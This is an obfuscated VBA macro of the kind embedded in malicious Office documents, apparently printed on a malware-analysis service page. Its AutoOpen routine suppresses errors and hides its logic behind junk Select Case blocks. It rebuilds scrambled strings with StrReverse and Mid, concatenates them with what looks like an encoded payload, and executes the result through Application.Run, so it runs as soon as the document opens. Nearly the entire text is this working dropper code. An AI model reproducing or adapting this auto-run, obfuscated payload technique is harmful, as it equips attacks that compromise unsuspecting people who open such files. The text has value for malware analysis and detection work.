jqQuWroMn = hwAVi + biRkHz("1pmA0AgYAMGAjBgNAYGAhBQYAMDAwAgZAIDAxAAOAcDA5AwNAIGA2AwNAQDAjBQNAUDAlBgZAUGAiBQMAMDAiBgMAkDAkBQZAEGA2AQNAMDAmBQOAIDAjBG2zA3a_RAv$r@6VVo", 18, 114)
Select Case NRYGdS
         Case 65148
            fcUfb = Fix(604)
            fuGtDb = Int(25097)
         Case 72748
            cqZwRB = qhcqLB
            TqQii = ChrW(nMlMn)
      End Select
zpripnwkZCZkaw = UpBwtZWm + MGDnPAfpdntj + AfozzUzz + ChrW(34) + ildzwJOdcnCm + cQNRVFXDbP + AGIlpX + HRvVmQXIdNZ + rfRrrBB + NDKhh + zEAYNY + rJVvaViNdC + PFzJcE + nVcsnhnzlPL + wpwiUnjviVm + pWdSF + aJwzJAjCQZ + RifiitTV + iKGHYMoBI + FpfipRL + sCrsw + YhZXVz + kmPnuwzvX + OrVIPdZNrWP + pCZujVl + BTjPM + sWlACYiRV + jqQuWroMn + RMPsfi + CCUAYfPOY + wWBvMG + ZDGLOi + GjZcaMRXKz + thLfHDQXIz + MjmpUYZUuk + RSYNm + EWYZB + ivQLWMTq + LBqRWJFQMz + dGLtRuPrwFG + DOjCTazmaj + cmcFKCILmws + TBZtBztkhh
Select Case fPvPFN
         Case 21426
            okmuMq = Fix(61514)
            nfzhz = Int(7225)
         Case 70857
            OmCYF = TBAWVQ
            OhjXCp = ChrW(rDmTi)
      End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case KmcEQ
         Case 71833
            qVPQZw = Fix(33348)
            vOjSK = Int(1076)
         Case 67932
            nwLvvb = lJMPVl
            lkFKv = ChrW(SBOJov)
      End Select
Select Case NvSqRb
         Case 92903
            IEpzOa = Fix(57590)
            NivYV = Int(55982)
         Case 96533
            AElXm = CHAbhq
            Wzuplc = ChrW(QMjXpu)
      End Select
Application.Run "LEHbEfzlw", zpripnwkZCZkaw
Select Case asXdj
         Case 94121
            qNqZC = Fix(50505)
            izntn = Int(29477)
         Case 82933
            BikASw = YNhsjb
            dzztm = ChrW(kEQiCd)
      End Select
Select Case PtdBiJ
         Case 80726
            otjiIC = Fix(78838)
            rKtaSU = Int(79794)
         Case 93757
            cLAzSC = oOYikj
            WlYpE = ChrW(Pddvb)
      End Select
Select Case XJCPu
         Case 7652
            ICwptV = Fix(82599)
            qudKrL = Int(94908)
         Case 43480
            ufkjiw = FVuiom
            daDXLY = ChrW(fTNbYj)
      End Select
End Sub

Attribute VB_Name = "bMwEuzjnnm"
Function UpBwtZWm()
On Error Resume Next
Select Case HzBzV
         Case 36813
            ithMpG = Fix(85682)
            QaPnr = Int(24398)
         Case 14561
            RUlBnO = OTljj
            cOnNv = ChrW(OwGIn)
      End Select
QfJMWjWK = tFLRaIL + biRkHz("YF0lHZ_S^mo^C% Hss6!psD.0", 11, 8)
Select Case HzBzV
         Case 36813
            ithMpG = Fix(85682)
            QaPnr = Int(24398)
         Case 14561
            RUlBnO = OTljj
            cOnNv = ChrW(OwGIn)
      End Select
Select Case MAzScW
         Case 34173
            jrONJ = Fix(86288)
            TvOiQn = Int(54473)
         Case 1501
            iFqUJ = sSoMI
            mTXRmX = ChrW(knvFpW)
      End Select
quTOwn = iMpqX + biRkHz("(Wa<wb$%bA$jlwk      %cEp^np8l6p4A97E$wAv.E", 18, 11)
Select Case MAzScW
         Case 34173
            jrONJ = Fix(86288)
            TvOiQn = Int(54473)
         Case 1501
            iFqUJ = sSoMI
            mTXRmX = ChrW(knvFpW)
      End Select
Select Case Kdcfi
         Case 49534
            EUizZB = Fix(66405)
            UkpDB = Int(65155)
         Case 63821
            cUjZt = DXDLv
            BzpnDj = ChrW(cAjloF)
      End Select
IBdQs = bTJwFk + biRkHz("]M017wVGbtWh<lzsZiKF(", 5, 4)
Select Case Kdcfi
         Case 49534
            EUizZB = Fix(66405)
            UkpDB = Int(65155)
         Case 63821
            cUjZt = DXDLv
            BzpnDj = ChrW(cAjloF)
      End Select
Select Case ECXRfn
         Case 4881
            iYzcmo = Fix(60445)
            ZYldbI = Int(69971)
         Case 96772
            lTttfz = jiMVCl
            sNrBMl = ChrW(hwRDzi)
      End Select
jWdJJvdvqP = GOPBzq + biRkHz("@J$id   c/mK$Nw6QaN7V", 12, 5)
Select Case ECXRfn
         Case 4881
            iYzcmo = Fix(60445)
            ZYldbI = Int(69971)
         Case 96772
            lTttfz = jiMVCl
            sNrBMl = ChrW(hwRDzi)
      End Select
Select Case PhaMW
         Case 79337
            upvWF = Fix(10657)
            AnIFO = Int(2974)
         Case 60320
            UHuaIH = FZwzZC
            WYBjAm = ChrW(vUMWS)
      End Select
cKwnjHE = UJwSZVt + biRkHz("mM@MbQzBPja<mVNSQhr dmcP$", 3, 6)
Select Case PhaMW
         Case 79337
            upvWF = Fix(10657)
            AnIFO = Int(2974)
         Case 60320
            UHuaIH = FZwzZC
            WYBjAm = ChrW(vUMWS)
      End Select
Select Case QBlPi
         Case 13878
            amQIqz = Fix(24726)
            joRnt = Int(95342)
         Case 7418
            jbfRj = iASCGc
            CqKRWq = ChrW(SupCWO)
      End Select
oXlYndF = zHLbw + biRkHz("1!CFjmw9D  V(#r.3wajOZW", 13, 2)
Select Case QBlPi
         Case 13878
            amQIqz = Fix(24726)
            joRnt = Int(95342)
         Case 7418
            jbfRj = iASCGc
            CqKRWq = ChrW(SupCWO)
      End Select
Select Case uZMHm
         Case 72155
            sDtqwJ = Fix(30845)
            DBFYB = Int(81594)
         Case 52068
            vDivvL = dEhiDj
            kGWNH = ChrW(EpcYq)
      End Select
csVtkvzh = rjaKH + biRkHz("mdNE9bmf.MXbRjVmR KvmhZXFo", 2, 15)
Select Case uZMHm
         Case 72155
            sDtqwJ = Fix(30845)
            DBFYB = Int(81594)
         Case 52068
            vDivvL = dEhiDj
            kGWNH = ChrW(EpcYq)
      End Select
Select Case ZAZLz
         Case 89011
            hrYmuY = Fix(13605)
            GQzuwM = Int(92722)
         Case 6864
            KjqcoA = kGibh
            boNwR = ChrW(SkGVcF)
      End Select
Kqmswj = pcrjZV + biRkHz("vmk7FV$DwkfuU3D.s rSIlwRwL6VaZN]c(1PZ$", 21, 1)
Select Case ZAZLz
         Case 89011
            hrYmuY = Fix(13605)
            GQzuwM = Int(92722)
         Case 6864
            KjqcoA = kGibh
            boNwR = ChrW(SkGVcF)
      End Select
Select Case SwiQK
         Case 86932
            IVABEK = Fix(20574)
            vFWWP = Int(33059)
         Case 21079
            bkLYM = kfETK
            pEVwKU = ChrW(iQjWu)
      End Select
HrzUWhcBRJC = waibv + biRkHz("w$Un5a#SmVlLvl njdmacji.!4J8", 6, 14)
Select Case SwiQK
         Case 86932
            IVABEK = Fix(20574)
            vFWWP = Int(33059)
         Case 21079
            bkLYM = kfETK
            pEVwKU = ChrW(iQjWu)
      End Select
Select Case OQYjhF
         Case 54836
            MUJVfa = Fix(71888)
            svMJjZ = Int(95816)
         Case 62262
            LEkYH = cvdaY
            iqBrTq = ChrW(AIwjD)
      End Select
ZjHrmjWhUS = znzPLWp + biRkHz("AKG.w@iGH$I     wPmTol_ws", 10, 5)
Select Case OQYjhF
         Case 54836
            MUJVfa = Fix(71888)
            svMJjZ = Int(95816)
         Case 62262
            LEkYH = cvdaY
            iqBrTq = ChrW(AIwjD)
      End Select
Select Case bPmVPV
         Case 56417
            TJkrH = Fix(44243)
            nqfNlK = Int(45595)
         Case 90456
            MVMWU = bHTThL
            IAYbPP = ChrW(qQtwDn)
      End Select
ZYRurF = kHsFIoS + biRkHz(".zaiEw$Yi@UNwIJDNRS^mo^C%     & liZQfjVdt[wDZ$ZMahrL8sV", 15, 23)
Select Case bPmVPV
         Case 56417
            TJkrH = Fix(44243)
            nqfNlK = Int(45595)
         Case 90456
            MVMWU = bHTThL
            IAYbPP = ChrW(qQtwDn)
      End Select
Select Case qCGLd
         Case 86387
            nwzDUN = Fix(19471)
            SajNz = Int(61015)
         Case 80101
            acFucf = KoqXTb
            uTqSU = ChrW(uqFps)
      End Select
cwzIwjzA = zMmSDUc + biRkHz("..FT%Dd!!%aS.$<P@wp#           %cEp^B@oP<1v1d09.", 13, 16)
Select Case qCGLd
         Case 86387
            nwzDUN = Fix(19471)
            SajNz = Int(61015)
         Case 80101
            acFucf = KoqXTb
            uTqSU = ChrW(uqFps)
      End Select
Select Case uHsjww
         Case 91092
            DlzuJ = Fix(24635)
            CIcKmP = Int(10291)
         Case 83936
            rZYqiB = kMzWd
            khmlv = ChrW(FDfJK)
      End Select
wkDmpDwW = vckzVkA + biRkHz("UW33sdw0         V/ vWmbbv9%93Vj7EiLPI0", 20, 12)
Select Case uHsjww
         Case 91092
            DlzuJ = Fix(24635)
            CIcKmP = Int(10291)
         Case 83936
            rZYqiB = kMzWd
            khmlv = ChrW(FDfJK)
      End Select
UpBwtZWm = cKwnjHE + csVtkvzh + IBdQs + HrzUWhcBRJC + ZYRurF + quTOwn + QfJMWjWK + cwzIwjzA + wkDmpDwW + jWdJJvdvqP + ZjHrmjWhUS + oXlYndF + Kqmswj
Select Case sdUKb
         Case 47197
            QIsXZE = Fix(70686)
            aOiJq = Int(23582)
         Case 87204
            vYBUB = jMQNil
            qZkbh = ChrW(AsKMj)
      End Select
End Function
Function biRkHz(ByVal OzDuOPYR As String, KBZYnMLwWK, fWthJZh)
On Error Resume Next
Select Case tPLXIF
         Case 29368
            TljEBY = Fix(59443)
            HGtIH = Int(22335)
         Case 14123
            BcUoAB = ZooTFE
            oYniQm = ChrW(IwfPlc)
      End Select
Select Case tdrhIT
         Case 42636
            kahSpG = Fix(30414)
            FZJLR = Int(40465)
         Case 39148
            vVwsj = ZOZPjK
            lwkZJn = ChrW(Azwos)
      End Select
Select Case apcQPY
         Case 18409
            mmWdw = Fix(91306)
            TtaaF = Int(31095)
         Case 37339
            ZmIhGX = YIAzPj
            JzHAiz = ChrW(NwKsM)
      End Select
bbvqCbToKpDFlC = EWOnTGNDdGr + StrReverse(OzDuOPYR) + upOOc
Select Case jShka
         Case 37134
            lUSLq = Fix(95925)
            uqsBuN = Int(58166)
         Case 16830
            jfsPw = JvwTIM
            AUwuih = ChrW(urnJCH)
      End Select
QqLYaunoLaRf = wMUPX + Mid(bbvqCbToKpDFlC, KBZYnMLwWK, fWthJZh) + wzEhDGBKX
Select Case WpdAp
         Case 46455
            ziwWb = Fix(84153)
            jNqfMi = Int(58759)
         Case 7179
            ozCPOr = jbWiQT
            HPYHU = ChrW(aAUGNw)
      End Select
Select Case QWzpiT
         Case 7497
            DnIrIC = Fix(31715)
            FMbPnj = Int(30691)
         Case 77066
            JTKndw = QALJd
            wzQkDc = ChrW(PMhKG)
      End Select
biRkHz = tmiChGJ + QqLYaunoLaRf + YAtAZqF
Select Case HrGQXP
         Case 56685
            CfnXLw = Fix(71568)
            hOCQh = Int(96300)
         Case 58924
            UTYzW = dlKoEq
            prdIi = ChrW(BSlCbO)
      End Select
End Function
…

Open this report in the interactive analyzer, or submit your own file for analysis.